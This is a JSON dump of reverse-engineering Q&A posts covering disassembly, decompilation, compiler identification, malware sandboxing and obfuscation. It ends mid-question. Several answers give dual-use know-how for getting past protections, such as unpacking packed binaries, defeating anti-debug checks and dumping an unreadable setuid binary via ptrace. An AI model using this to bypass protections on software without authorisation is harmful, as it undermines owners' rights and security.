[ { "Id": "1", "CreationDate": "2013-03-19T19:05:55.320", "Body": "

When we're doing reverse engineering, we have a few levels of models. One of them is the instruction semantics model, which tells us what every native instruction does to modify instruction state. We're making progress there. However, another problem is that of platform semantics, which is at a higher level.

\n\n

For example, a high-level model of a userspace linux program would need to include information about mprotect and that it can alter the visibility of certain regions of code. Threading and callback semantics are also a platform modeling issue, we can discover a programs entrypoint from its header (which is another kind of semantic! but one we're probably not going to compromise on), but other entrypoints are published in the program in the form of arguments to atexit, pthread_create, etc.

\n\n

What is our current best effort/state of the art at capturing this high level platform information in a way that is understood by practicioners? What about by mechanical / automated understanding systems? I know that IDA has (or has to have) information about different platform APIs, it seems to know that when an immediate is a parameter to pthread_create then that immediate is a pointer to code and should be treated as such. What do we have beyond that?

\n", "Title": "What is the current state of the art for platform modeling?", "Tags": "|code-modeling|", "Answer": "

Direct Detection

\n\n

At the lowest level you can just have copies of the libraries and check if they are the one used.

\n\n

Signature based Detection

\n\n

At a higher level than that is IDA FLIRT which stores just enough information about a library to identify its use. But its main benefit is reduced disk usage... it is worth noting that you can add more definitions to the default ones.

\n\n

Hex-Rays talks about the technology in-depth here.

\n\n

Generic recognition

\n\n

Tools like Coverity or the Clang static analyzer or KLEE are more general and more likely to include models for programming idioms.

\n\n

The only thing I know of coming close to IDA that is open source is radare which might have some library recognition. Also radare's main page. And I have been looking since I am hunting something like IDA that supports SPARC for free and it looks like radare does although I haven't had time it give it a go yet.

\n\n

From what I can tell REC and Boomerang do not recognize libraries the way IDA does, but instead just attempt to decompile everything. BAP does analysis of binaries and is derived from the Vine component of the BitBlaze project the two projects below are part of as well.

\n\n

Flow Analysis

\n\n

TEMU and Rudder here look to be quite advanced. And deal with code as it executes. TEMU helps to relate imputs and outputs to the flow.

\n\n

It is also worth noting that the Bitblaze tools are designed to provide traces for use in IDA although they could probably be adapted for use otherwise.

\n\n

Going off of the specifics you provided TEMU sounds the closest to what you want.... it allows you to mark tainted inputs (memory locations, physical inputs etc...) and detect the effects of those taints on the execution. If you want to try out TEMU and are on a newer Linux distro (anything with GCC 4+ which is most anything in the past few years) follow the instructions here.

\n" }, { "Id": "4", "CreationDate": "2013-03-19T19:24:53.760", "Body": "

I took a basic 40-hr Reverse Engineering course a few summers ago. While teaching us to use IDAPro, the instructor demonstrated, rather quickly and without explaining much, how to label certain variables in the ASM as members of a structure, basically equivalent to a good old fashioned struct in C/C++, and treat them as such wherever they are seen in the rest of the code. This seems rather useful to me.

\n\n

What he did not cover, however, was how to identify a structure. How do you know when a group of variables does in fact constitute a structure and not just a set of related variables? How can you be sure that the author used a struct (or something similar) there?

\n", "Title": "How is a structure located within a disassembled program?", "Tags": "|ida|assembly|struct|", "Answer": "

As others have said, I usually look for a function call where a reference is passed - but I also look for instances where a malloc'ed buffer is returned (this is how you know/confirm the size of the structure) - and various members of the 'buffer' are set/initialized.

\n" }, { "Id": "5", "CreationDate": "2013-03-19T19:30:22.060", "Body": "

I'm writing a small utility library for hooking functions at run time. I need to find out the length of the first few instructions because I don't want to assume anything or require the developer to manually input the amount of bytes to relocate and overwrite.

\n\n

There are many great resources to learn assembly but none of them seem to go into much detail on how assembly mnemonics get turned into raw binary instructions.

\n", "Title": "How are x86 CPU instructions encoded?", "Tags": "|assembly|x86|", "Answer": "
\n

There are many great resources to learn assembly but none of them seem to go into much detail on how assembly mnemonics get turned into raw binary instructions.

\n
\n

The mnemonics aren't 'turned in' to raw binary instructions, they are the raw binary instructions. It is a human readable representation of the actual hex bytes that are encoding the instructions of the (first generation language) machine code. We typically talk about these bytes by their mnemonics for clarity.

\n

This is unlike assembly (so, second generation language such as gas or masm) or C (third generation language). Both assembly and higher generation languages are source files with a character encoding (such as UTF-8) that encodes the letters of the source code. In the case of assembly, it needs to be assembled to raw x86 bytes. The raw bytes can be disassembled by IDA into a readable form; it's called disassembly because it's presenting the mnemonic representation encoded in a character set like UTF-8 and displayed to the screen (which resembles an assembly language (a second generation language) that would be assembled to machine code -- in this case it's obviously not going to be assembled and isn't really an assembly language on it's own -- it's showing you what the assembly that was compiled to the machine code would have been).

\n

x86 encoding looks like this (I created a diagram):

\n

\"enter

\n

By the same token, CIL bytecode is a 1st generation language because the opcodes run directly on the virtual machine -- a virtual CPU. This means that the CIL bytecode does not need to be assembled or compiled from a source file with a source character set. ilasm shows a disassembled, mnemonic form of this bytecode.

\n" }, { "Id": "11", "CreationDate": "2013-03-19T20:01:48.563", "Body": "

When I am looking at the machine code of an application, are there hints and patterns I can discern from the generated machine code which would indicate which compiler (and possibly version) was used to generate it?

\n\n

Does knowing the compiler used to generate an application help me to more effectively reverse engineer back from the generated object to what the source code might have been, and if it does help, how so?

\n", "Title": "What hints in machine code can point me to the compiler which was used to generate it?", "Tags": "|assembly|compilers|object-code|hll-mapping|", "Answer": "

I guess the first thing you should do to determine the compiler version unless you literally mean the compiler version instead of linker version, is inspect the \"MajorLinkerVersion\" and \"MinorLinkerVersion\" fields of the PE header of the executable, be it EXE, DLL, or SYS. See list below.

\n\n

Major Minor

\n\n

0x5 0x0 (5.0) Borland C++ / MS Linker 5.0

\n\n

0x6 0x0 (6.0) Microsoft VIsual Studio 6

\n\n

0x7 0xA (7.10) Microsoft VIsual Studio 2003

\n\n

0x8 0x0 (8.0) Microsoft VIsual Studio 2005

\n\n

0x9 0x0 (9.0) Microsoft VIsual Studio 2008

\n\n

0xA 0x0 (10.0) Microsoft VIsual Studio 2010

\n\n

0x2 0x15 (2.21) MinGw

\n\n

0x2 0x19 (2.0.0.25) Borland Delphi (linker 2.0.0.25)

\n\n

Unfortunately, packers and protectors tend to overwrite these value to write their own and/or harden the process of guessing the original compiler.

\n\n

Also, the resource directory of an executable is a good place to search for specific linker info. e.g. RT_RCDATA having a resource named \"DVCLAL\" is a sign of Borland C++ or Delphi and the \"RT_MANIFEST\" in case of a MSVC-built executable can tell us about the specfic version of runtime DLL's it is linked to and hence the compiler version.

\n\n

Also, an executable with the \"TimeDateStamp\" field set to 0x2A425E19 is a sign of being built with Delphi.

\n\n

Now, if you want to determine compiler from assembly code, then the sign of a recent MSVC compiler version is seeing the function that generates the stack cookie just at the entry point.

\n\n

Seeming, a JMP instruction at the entry point followed by the string \"fb:C++Hook\" is a sign of Borland C++, and so on.

\n" }, { "Id": "23", "CreationDate": "2013-03-19T21:27:57.400", "Body": "

I've recently managed to isolate and archive a few files that managed to wreak havoc on one of my client's systems. So I was wondering what software and techniques make the best sandbox for isolating the code and digging into it to find out how it works.

\n\n

Usually, up to this point in time I would just fire up a new VMWare or QEMU instance and dig away, but I am well aware that some well-written malware can break out of a VM relatively easily. So I am looking for techniques (Like using a VM with a different emulated CPU architecture for example.) and software (Maybe a sandbox suite of the sorts?) to mitigate the possibility of the code I am working on \"breaking out\".

\n\n

What techniques do you recommend? What software do you recommend?

\n", "Title": "How can I analyze a potentially harmful binary safely?", "Tags": "|virtual-machines|malware|sandbox|security|", "Answer": "

Literally, for a first look on malware, you won't need anything special locally installed.\nThere are enough online sandboxes you may use:

\n\n\n\n

As a result - you may get basic idea of what a binary does and how to analyse it.\nBut - please note, that sophisticated malware checks its environment for sandbox traces and VM presence. So there is a chance that the seemingly \"harmless binary\" turns out to be sophisticated malware under real conditions.

\n" }, { "Id": "27", "CreationDate": "2013-03-19T22:51:02.077", "Body": "

I have several Solaris 2.6 era drivers I would like to reverse engineer.

\n\n

I have a Sparc disassembler which provides some info but it isn't maintained anymore so I think it may not give me all the information possible.

\n\n

The drivers are for an Sbus graphics accelerator I own. Namely the ZX aka Leo one of the early 3d accelerators.

\n\n

So what are some ways I can go about reverse engineering this driver? I can disassemble it but I am not sure what to make of the output. I also have Solaris of course so perhaps there are things I can do there as well.

\n\n

The final goal is to have enough information to design a driver for an Operating System. There are drivers for NetBSD, although incomplete as the hardware documentation that does exist (isn't free to access) does not have the Window ID encoding as it is missing. Also, since the hardware uses an Sbus interface on a double wide mezzanine card, it would be impractical to use it on anything but a SparcStation or early UltraSparc machine.

\n", "Title": "Reverse engineering a Solaris driver", "Tags": "|sparc|solaris|driver|sbus|", "Answer": "

Well, since it's a Solaris driver, first you need to find up some docs on how Solaris drivers communicate with the kernel (or kernel with them). A quick search turned up this:

\n\n
\n

_init() initializes a loadable module. It is called before any other routine in a loadable module. _init() returns the value returned by\n mod_install(9F) . The module may optionally perform some other work\n before the mod_install(9F) call is performed. If the module has done\n some setup before the mod_install(9F) function is called, then it\n should be prepared to undo that setup if mod_install(9F) returns an\n error.

\n \n

_info() returns information about a loadable module. _info() returns the value returned by mod_info(9F).

\n \n

_fini() prepares a loadable module for unloading. It is called when the system wants to unload a module. If the module determines that it\n can be unloaded, then _fini() returns the value returned by\n mod_remove(9F). Upon successful return from _fini() no other routine\n in the module will be called before _init() is called.

\n
\n\n

There's a nice code sample below.

\n\n

This guide also seems relevant.

\n\n

Once you found the entry points, it's just a matter of following the calls and pointers.

\n\n

Here's how it looks in IDA:

\n\n
.text:00000000 _init:                                  ! DATA XREF: leo_attach+5A8o\n.text:00000000                                         ! leo_attach+5BCo ...\n.text:00000000                 save    %sp, -0x60, %sp\n.text:00000004                 sethi   %hi(leo_debug), %i2\n.text:00000008                 ld      [leo_debug], %o0\n.text:0000000C                 cmp     %o0, 4\n.text:00000010                 bl      loc_38\n.text:00000014                 sethi   %hi(leo_state), %o0\n.text:00000018                 set     aLeoCompiledSS, %o0 ! \"leo: compiled %s, %s\\n\"\n.text:00000020                 set     a141746, %o1    ! \"14:17:46\"\n.text:00000028                 sethi   %hi(aLeo_c6_6Jun251), %l0 ! \"leo.c 6.6 Jun 25 1997 14:17:46\"\n.text:0000002C                 call    leo_printf\n.text:00000030                 set     aJun251997, %o2 ! \"Jun 25 1997\"\n.text:00000034                 sethi   %hi(leo_state), %o0\n.text:00000038\n.text:00000038 loc_38:                                 ! CODE XREF: _init+10j\n.text:00000038                 set     leo_state, %i1\n.text:0000003C                 sethi   %hi(0x1800), %l0\n.text:00000040                 mov     %i1, %o0\n.text:00000044                 set     0x1980, %o1\n.text:00000048                 call    ddi_soft_state_init\n.text:0000004C                 mov     1, %o2\n.text:00000050                 orcc    %g0, %o0, %i0\n.text:00000054                 bne,a   loc_80\n.text:00000058                 ld      [%i2+(leo_debug & 0x3FF)], %o0\n.text:0000005C                 sethi   %hi(0x14C00), %l0\n.text:00000060                 call    mod_install\n.text:00000064                 set     modlinkage, %o0\n.text:00000068                 orcc    %g0, %o0, %i0\n.text:0000006C                 be,a    loc_80\n.text:00000070                 ld      [%i2+(leo_debug & 0x3FF)], %o0\n.text:00000074                 call    ddi_soft_state_fini\n.text:00000078                 mov     %i1, %o0\n.text:0000007C                 ld      [%i2+(leo_debug & 0x3FF)], %o0\n.text:00000080\n.text:00000080 loc_80:                                 ! CODE XREF: _init+54j\n.text:00000080                                         ! _init+6Cj\n.text:00000080                 cmp     %o0, 4\n.text:00000084                 bl      locret_9C\n.text:00000088                 nop\n.text:0000008C                 set     aLeo_initDoneRe, %o0 ! \"leo: _init done, return(%d)\\n\"\n.text:00000094                 call    leo_printf\n.text:00000098                 mov     %i0, %o1\n.text:0000009C\n.text:0000009C locret_9C:                              ! CODE XREF: _init+84j\n.text:0000009C                 ret\n.text:000000A0                 restore\n.text:000000A0 ! End of function _init\n
\n\n

At 0x60 you can see mod_install being called with a pointer to modlinkage, so you can follow there and see what the fields are pointing to.

\n\n

But you don't even have to do that all the time. In this case, the programmers very thoughtfully left intact all the symbols and debug output. This should help you in your work :)

\n\n

Depending on situation, you may skip straight to the helpfully-named functions like leo_blit_sync_start or leo_init_ramdac. I personally prefer the first way, top-down, but to each his own.

\n\n

EDIT: one rather simple thing you can do is to patch the leo_debug variable at the start of .data section to 5 or so. That should produce a lot of debug output about the operations the driver is performing.

\n" }, { "Id": "34", "CreationDate": "2013-03-20T01:43:12.077", "Body": "

Let's say I have a .jar file and wrap it into a .exe using any number of free utilities out there, like JSmooth.

\n\n

Would it be possible to tell, given just the .exe, if it was generated using one such utility from a .jar file?

\n", "Title": "Checking if an .exe is actually a .jar wrapped in an .exe", "Tags": "|decompilation|java|jar|pe|", "Answer": "

You can simply grep the file for \"javaw.exe\" or java.exe... This will usually be a pretty good indicator whether or not the program is a Java wrapper or not.

\n\n
archenoth@Hathor ~/apps/Minecraft $ grep javaw.exe /host/Windows/notepad.exe \narchenoth@Hathor ~/apps/Minecraft $ grep javaw.exe ./Minecraft.exe \nBinary file ./Minecraft.exe matches\narchenoth@Hathor ~/apps/Minecraft $ \n
\n\n

This is because wrappers usually contain the following:

\n\n

\"enter

\n" }, { "Id": "42", "CreationDate": "2013-03-20T09:02:41.433", "Body": "

The Android java code is compiled into Dalvik byte code, which is quite readable. I wonder, is it possible in theory and in practice to write a decompilation software for Dalvik byte code?

\n", "Title": "Decompiling Android application", "Tags": "|decompilation|java|android|byte-code|", "Answer": "

Another tool is Bytecode Viewer:

\n\n

https://github.com/Konloch/bytecode-viewer

\n\n
\n

Bytecode Viewer is an Advanced Lightweight Java Bytecode Viewer, GUI\n Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK\n Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI\n Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI\n FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex\n Viewer, Code Searcher, Debugger and more. It's written completely in\n Java, and it's open sourced. It's currently being maintained and\n developed by Konloch.

\n
\n" }, { "Id": "43", "CreationDate": "2013-03-20T09:13:52.113", "Body": "

I am trying to scan all possible techniques to disrupt the usage of a debugger on a Unix platform (ie POSIX and a bit more).

\n\n

I am thinking about techniques such as the PTRACE test at the beginning of a program (or at various points of its execution), the insertion of fake breakpoints (eg int3/0xcc x86 opcode) or time checks. But, also global strategies defined on the program to slow down the analysis of the program.

\n\n

For now, all the techniques I found on Internet were easily worked around as soon as the anti-debug technique has been understood. So, I wonder if there are stronger ones.

\n", "Title": "Anti-debug techniques on Unix platforms?", "Tags": "|assembly|obfuscation|anti-debugging|", "Answer": "

They aren't any, do not try to do the mathematically impossible.

\n
\n

For now, all the techniques I found on Internet were easily worked\naround as soon as the anti-debug technique has been understood. So, I\nwonder if there are stronger ones.

\n
\n

Yes, because there is no way of detecting a debugger that can not be faked.\nSoftware can not detect if it runs in a perfect emulation or in the real world. And a emulator can be stopped, the software can be analyzed, variables can be changed, basically everything can be done that can be done in a debugger.

\n

Let's say you want to detect if the parent process is a debugger. So you make a system call to get the parent PID? The debugger can intercept the system call and return any PID which does not have to be the real PID. You want to intercept every SIGTRAP so the debugger can't use it anymore? Well the debugger can just stop in this case and send the SIGTRAP also to your process. You want to measure the time when you send SIGTRAP to know if the process stops for a short time by the debugger for sending SIGTRAP so you know when there is a debugger? The debugger can replace your calls to get the time and return a fake time. Let's say you run on a Processor that has a instruction that returns the time, so no function call is needed to get the time. Now you can know that the time you are getting is real? No, the debugger can replace this instruction with a SIGTRAP instruction and return any time he wants or in case such a instruction does not exist, run the Software in a emulator that can be programmed in any way. Everything you can come up with to detect a debugger or emulator can be faked by the environment and you have 0 change to detect it.

\n

The only way to stop debugging is by not giving the software to the customers but keep it in your hands. Make a cloud service and run the software on your server. In this case the customer can not debug your program since he does not run it and has no control over it. Except the customer can access the server or the data somehow, but that is a different story.

\n" }, { "Id": "45", "CreationDate": "2013-03-20T09:35:01.860", "Body": "

FHE (Fully Homomorphic Encryption) is a cryptographic encryption schema in which it is possible to perform arithmetic operations on the ciphered text without deciphering it.

\n\n

Though there is no really efficient crypto-system with this property at this time, several proofs of concepts show that this kind of cryptography does actually exist. And, that, maybe one day, we might find an efficient crypto-system with the FHE properties.

\n\n

For now, the usage of FHE is mainly directed towards \"Cloud Computing\" where one want to delegate a costly computation to a remote computer without spreading his data away. So, the principle is just to send out encrypted data and the Cloud will apply a given computation on the data and send back the encrypted answer without having knowledge of what is inside.

\n\n

The link with code obfuscation is quite obvious as if we can perfectly obfuscate data, then we can also perfectly obfuscate the algorithm by coding it into a universal Turing machine. But, the Devil is always in the details. A recent paper [1] presents a way to use the FHE for obfuscation, but in a too stronger way (in my humble opinion).

\n\n

My question is the following: Suppose we have an efficient FHE schema, suppose also that our goal is to slow down the analysis of a program (and not totally prevent it). Then, what would be the most efficient usage of the FHE in obfuscation ?

\n", "Title": "Usage of FHE in obfuscation?", "Tags": "|obfuscation|cryptography|", "Answer": "

What is functional encryption for all circuits and indistinguishability obfuscation for all circuits ?

\n\n
    \n
  1. A proposed indistinguishability obfuscation for NC1 circuits where\nthe security is based on the so called Multilinear Jigsaw Puzzles (a\nsimplified variant of multilinear maps).
    2. \n
  2. Pair the contribution in 1 with Fully Homomorphic Encryption and you\nget indistinguishability obfuscation for all circuits.
    3. \n
  3. Combine 2 with public key encryption and non-interactive\nzero-knowledge proofs and you functional encryption for all\ncircuits. I believe that prior to this, functional encryption for all\ncircuits was not possible.
    4. \n
\n" }, { "Id": "47", "CreationDate": "2013-03-20T09:43:11.807", "Body": "

Is it possible to create an object file using gcc that cannot be reverse engineered to its source code ?

\n", "Title": "Can I create an object file using gcc that cannot be reverse engineered?", "Tags": "|c|object-code|", "Answer": "

While it's not possible to obfuscate object files, it is possible to obfuscate the underlying assembly file. There is no such thing as name obfuscation in C++ since references are by address, not by name. Using full optimization (-O3 -Ob2 -flto) can also make it hard to reverse engineer your code. Also, you can also use VMProtect/Denuvo to encrypt and obfuscate your executable.

\n

You may find those posts useful

\n

https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc

\n

https://reverseengineering.stackexchange.com/a/22052/33533

\n" }, { "Id": "53", "CreationDate": "2013-03-20T12:06:39.137", "Body": "

This comes from comments on a question on StackOverflow about JavaScript Variables: Why aren't \u25ce\u072b\u25ce and \u263a valid JavaScript variable names?

\n\n

JavaScript accepts zero-width characters as valid variable names, for example all three of these variables have different names but are visually identical:

\n\n
var ab, /* ab */\n    a\u200db, /* a‍b */\n    a\u200cb; /* a‌b */\n
\n\n

Here's a JSFiddle example of the above three variables in use.

\n\n

What are the pros and cons of doing this as an obfuscation technique for JavaScript (and other supporting languages)?

\n", "Title": "Obfuscating JavaScript with zero-width characters - pros and cons?", "Tags": "|obfuscation|javascript|", "Answer": "

This also breaks some beautifers (but not all). For example, running your code through JS Beautifier:

\n\n
   var ab = \"Hello, world!\",\n       a\u200d b = \"Completely different string!\",\n       a\u200c b = \"Yet another completely different string!\";\n\ndocument.getElementById('result1').innerHTML = ab;\ndocument.getElementById('result2').innerHTML = a\u200d b;\ndocument.getElementById('result3').innerHTML = a\u200c b;\n
\n\n

(Note the spaces in between \"a\" and \"b\".)

\n\n

You could argue that this is a pro and a con. Depending on exactly how confusing you make the code, it may be even more confusing to see random spaces being injected. On the other hand, it also alerts the reader that something is definitely up.

\n" }, { "Id": "59", "CreationDate": "2013-03-20T12:57:53.483", "Body": "

I'm a bit of a novice with IDA Pro, and have been discovering some of the excellent plugins available from the RE community as well as its vendors. My small list of plugins that I have found extremely valuable to me are:

\n\n\n\n

Granted, this is a very short list. What IDA Pro scripts/plugins do you find essential?

\n", "Title": "What are the essential IDA Plugins or IDA Python scripts that you use?", "Tags": "|tools|ida|idapython|", "Answer": "

I'd like to add collabREate - plugin, which allow to do reverse engineering in the small team, all share the same IDA session.

\n" }, { "Id": "60", "CreationDate": "2013-03-20T13:14:09.463", "Body": "

Is it legal to reverse engineer certain features of a closed source application and then integrate those features into a closed or open source application that may be either a commercial or non-commercial application ?

\n\n
\n\n

Brownie points for an answer covering the situation in India.

\n", "Title": "Is reverse engineering and using parts of a closed source application legal?", "Tags": "|law|", "Answer": "

I think questions beginning with the clause \"Is it legal to...\" can only ever be correctly answered with certainty in a court of law. And as @0xC0000022L mentioned, you'd need to start by specifying which country you're asking about.

\n\n

Short of going to court, I think such questions can only ever be answered correctly with the phrase, \"It depends.\"

\n\n

From the other answers, it seems well-known within this community that reverse engineering something is very closely connected to both copyright law and the Computer Fraud and Abuse Act, both of which (as the links attest) are hotly contested right now in the US.

\n\n

Harvard Law School has recently published a massively open online course on copyright. The professor published a book on copyright reform in 2004. He also started Noank Media, Inc. in 2007 to try and implement one of the ideas in his book in China. Although his MOOC lectures and readings are all available globally, I'm taking this course through edX right now, and even with the benefit of several law students to help answer questions, there's still a tremendous amount of information and ambiguity to consider (even limiting the scope of my answer here to copyright and not dealing with the CFAA). As @JMcAfreak wrote, the DMCA also applies, and my guess is that there are several other laws that could also potentially apply to your question in the US.

\n\n

What I've learned after 8 weeks in this course is that you'd need to spend at least 12 weeks reading case law before really being able to answer the question you pose here. And as Aaron Swartz discovered, the stakes are incredibly high, and computer programmers and reverse engineers (who may routinely do some\u2014potentially illegal\u2014act thousands or millions of times through the use of a computer program) are especially vulnerable to multiple counts of illegal acts where the penalties add up very quickly.

\n\n

If you're considering doing something that makes you ask the question, then you also need to consider who might be most motivated to pursue you for illegal activity as a result, and if that's a wealthy individual or business entity, then you probably shouldn't risk it. If Shepard Fairey had used a reference photograph for his Obama HOPE poster owned by an entity less affluent than the Associated Press, then I'm sure that situation would have ended very differently for him.

\n" }, { "Id": "72", "CreationDate": "2013-03-20T15:25:47.117", "Body": "

I find that more and more often binaries are being packed with exe protectors such as upx, aspack etc. I tried to follow a few tutorials on how to unpack them but the examples are often quite easy while my targets are not.

\n\n

I am looking for good resources and any hints/tips on how to unpack targets.

\n", "Title": "Unpacking binaries in a generic way", "Tags": "|decompilation|unpacking|pe|", "Answer": "

Blackstorm portal has a huge collection of Unpacking tutorials\nBlackstorm portal tutorials

\n\n

Tuts4You has another large collection of unpacking tutorials\nTuts4You

\n\n

It took me a long time at first but over time unpacking got a lot easier, lots of patience and practice required though.

\n" }, { "Id": "74", "CreationDate": "2013-03-20T15:56:57.997", "Body": "

A key tool in reverse engineering is a good disassembler, so to ensure that a disassembler is performing properly, are there any good test suites available for use to test the correctness of a disassembler? Are these architecture specific, or can they be configured to work across multiple object architectures? A good test should include checking the more obscure architecture instructions and malformed portable execution files.

\n\n

Here is one specifically for i86 that I have seen. Are there any that are modular across architectures?

\n", "Title": "Are there any open source test suites for testing how well a disassembler performs?", "Tags": "|tools|disassembly|", "Answer": "

The radare2 project uses an extensive test-suite for each of its disassembler engine, along with more specific tests, like formats, its own analysis capabilities, \u2026

\n" }, { "Id": "77", "CreationDate": "2013-03-20T16:18:40.027", "Body": "

Are there any tools available to take an already compiled .dll or .exe file that you know was compiled from C# or Visual Basic and obtain the original source code from it?

\n", "Title": "Is there any way to decompile a .NET assembly or program?", "Tags": "|decompilation|dll|.net|pe|", "Answer": "

.NET assemblies (.exe and .dll) can be decompiled online at Decompiler.com

\n

The author is affiliated with the mentioned website it appears (username: www.Decompiler.com).

\n" }, { "Id": "85", "CreationDate": "2013-03-20T17:27:34.680", "Body": "

Let's assume I have a device with an FPGA on it, and I managed to extract the bitstream from its flash. How would I go about recovering its behavior?

\n\n

One simple case is if it implements a soft processor - in that case there should be firmware for that processor somewhere and I can just disassemble that. But what if it's just a bunch of IP blocks and some additional logic?

\n", "Title": "Reversing an FPGA circuit", "Tags": "|hardware|fpga|", "Answer": "

RapidSmith does that for you. http://rapidsmith.sourceforge.net/

\n\n

There is also a paper that you can read as the starting point: \"Recent Advances in FPGA Reverse Engineering\" Hoyoung Yu, Hansol Lee, Sangil Lee , Youngmin Kim and Hyung-Min Lee

\n" }, { "Id": "87", "CreationDate": "2013-03-20T18:09:54.637", "Body": "

When reverse engineering binaries compiled from C++, it is common to see many indirect calls to function pointers in vtables. To determine where these calls lead, one must always be aware of the object types expected by the this pointer in virtual functions, and sometimes map out a class hierarchy.

\n\n

In the context of static analysis, what tools or annotation techniques do you use to make virtual functions simpler to follow in your disassembly? Solutions for all static analysis toolkits are welcome.

\n", "Title": "Static analysis of C++ binaries", "Tags": "|static-analysis|ida|c++|vtables|virtual-functions|", "Answer": "

I gave a talk at Recon in 2011 (\"Practical C++ Decompilation\") on this exact topic. Slides and video (mirror) are available.

\n\n

The basic approach is simple: represent classes as structures, and vtables as structures of function pointers. There are some tricks I described that allow you to handle inheritance and different vtables for the classes in the same hierarchy. These tricks were also described on this blog; I'm not sure if it was based on my talk or an independent work.

\n\n

One additional thing that I do is add a repeatable comment to each slot in the vtable structure with the implementation's address. This allows you to quickly jump to the implementation when you apply the structure to the vtable slot load:

\n\n

\"enter

\n" }, { "Id": "90", "CreationDate": "2013-03-20T18:51:19.000", "Body": "

I want to know what jQuery plugins Facebook uses for their special scrollbar, like the two on the left, not the normal one on the right:

\n\n

\"enter

\n\n

(source)

\n\n

Generally, how should I go when I want to know what jQuery plugin [website X] uses for [behaviour Y]?

\n", "Title": "Get used jQuery plugins from website", "Tags": "|javascript|websites|", "Answer": "

I used https://noraesae.github.io/perfect-scrollbar/ that is very similar and easy to use

\n" }, { "Id": "95", "CreationDate": "2013-03-20T20:34:26.300", "Body": "

How would a C variable argument function such as printf(char* format, ...) look like when disassembled?

\n\n

Is it always identified by calling convention, or are there more ways to identify it?

\n", "Title": "Identifying variable args function", "Tags": "|disassembly|calling-conventions|c|", "Answer": "

It is very simple in some architectures, and not very obvious in others. I'll describe a few I'm familiar with.

\n\n

SystemV x86_64 (Linux, OS X, BSD)

\n\n

Probably the easiest to recognize. Because of the boneheaded decision to specify the number of used XMM registers in al, most vararg functions begin like this:

\n\n
    push    rbp\n    mov     rbp, rsp\n    sub     rsp, 0E0h\n    mov     [rbp+var_A8], rsi\n    mov     [rbp+var_A0], rdx\n    mov     [rbp+var_98], rcx\n    mov     [rbp+var_90], r8\n    mov     [rbp+var_88], r9\n    movzx   eax, al\n    lea     rdx, ds:0[rax*4]\n    lea     rax, loc_402DA1\n    sub     rax, rdx\n    lea     rdx, [rbp+var_1]\n    jmp     rax\n    movaps  xmmword ptr [rdx-0Fh], xmm7\n    movaps  xmmword ptr [rdx-1Fh], xmm6\n    movaps  xmmword ptr [rdx-2Fh], xmm5\n    movaps  xmmword ptr [rdx-3Fh], xmm4\n    movaps  xmmword ptr [rdx-4Fh], xmm3\n    movaps  xmmword ptr [rdx-5Fh], xmm2\n    movaps  xmmword ptr [rdx-6Fh], xmm1\n    movaps  xmmword ptr [rdx-7Fh], xmm0\nloc_402DA1:\n
\n\n

Note how it's using al to determine how many xmm registers to spill onto the stack.

\n\n

Windows x64 aka AMD64

\n\n

In Win64 it's less obvious, but here's one sign: the registers that correspond to the elliptic parameters are always spilled onto the stack and at positions that line up with the rest of arguments passed on the stack. E.g. here's the printf's prolog:

\n\n
  mov     rax, rsp\n  mov     [rax+8], rcx\n  mov     [rax+10h], rdx\n  mov     [rax+18h], r8\n  mov     [rax+20h], r9\n
\n\n

Here, rcx contains the fixed format argument, and the elliptic arguments are passed in rdx, r8 and r9 and then on the stack. We can observe that rdx, r8 and r9 are stored exactly one after another, and just below the rest of the arguments, which begin at rsp+0x28. The area [rsp+8..rsp+0x28] is reserved exactly for this purpose, but the non-vararg functions often don't store all register arguments there, or reuse that area for local variables. For example, here's a non-vararg function prolog:

\n\n
  mov     [rsp+10h], rbx\n  mov     [rsp+18h], rbp\n  mov     [rsp+20h], rsi\n
\n\n

You can see that it's using the reserved area for saving non-volatile registers, and not spilling the register arguments.

\n\n

ARM

\n\n

ARM calling convention uses R0-R3 for the first arguments, so vararg functions need to spill them onto stack to line up with the rest of parameters passed on the stack. Thus you will see R0-R3 (or R1-R3, or R2-R3 or just R3) being pushed onto stack, which usually does not happen in non-vararg functions. It's not a 100% foolproof indicator - e.g. Microsoft's compiler sometimes pushes R0-R1 onto the stack and accesses them using SP instead of moving to other registers and using that. But I think it's a pretty reliable sign for GCC. Here's an example of GCC-compiled function:

\n\n
STMFD   SP!, {R0-R3}\nLDR     R3, =dword_86090\nSTR     LR, [SP,#0x10+var_14]!\nLDR     R1, [SP,#0x14+varg_r0] ; format\nLDR     R0, [R3]        ; s\nADD     R2, SP, #0x14+varg_r1 ; arg\nBL      vsprintf\nLDR     R3, =dword_86094\nMOV     R2, #1\nSTR     R2, [R3]\nLDR     LR, [SP+0x14+var_14],#4\nADD     SP, SP, #0x10\nRET\n
\n\n

It's obviously a vararg function because it's calling vsprintf, and we can see R0-R3 being pushed right at the start (you can't push anything else before that because the potential stack arguments are present at SP and so the R0-R3 have to precede them).

\n" }, { "Id": "98", "CreationDate": "2013-03-20T21:22:29.067", "Body": "

I have a binary on a Linux (Kernel 2.6) which I can execute, but can't read (chmod 0711). Therefore no static analysis is possible.

\n\n
user1: $ ls -l bin \n-r-s--x--- user2 user1 bin\nuser1: $ file bin\nsetuid executable, regular file, no read permission\n
\n\n

I'm looking for different dynamic techniques to gather as much information as possible.

\n\n

For example strace works with this executable.

\n\n
\n\n

UPDATE : I was able to resolve the issue. See answer.

\n\n

Thank you all <3 this new reverseengineering community rocks!

\n", "Title": "How can I analyse an executable with no read permission?", "Tags": "|linux|dynamic-analysis|", "Answer": "

Using ptrace-based dynamic analysis tools on suid binaries makes them run without privileges. Because of this, a copy of the file running as your user is probably sufficient for analysis purposes.

\n\n

When I have had to do this, I used the xocopy tool, which uses ptrace to reconstruct ELF files when the header is mapped into memory (most compilers do this, possibly for use by the dynamic linker). I haven't tested the tool with ASLR, but you may be able to combine it with some of the techniques covered in other answers. Once the file has been dumped, it can be analysed statically, or run with any dynamic analysis tool.

\n" }, { "Id": "113", "CreationDate": "2013-03-21T04:24:08.590", "Body": "

Say I have a binary that I'm not able to execute (for example it runs on some device that I don't have one of), but I can disassemble it. I can get the docs on the architecture. (It's MIPS little endian in my case.) But the binary has very few imports, very few strings, etc., so it really seems like it's packed.

\n\n

How can I go about statically unpacking it? (Edit: I mean, unpacking it without any access to the original device.)

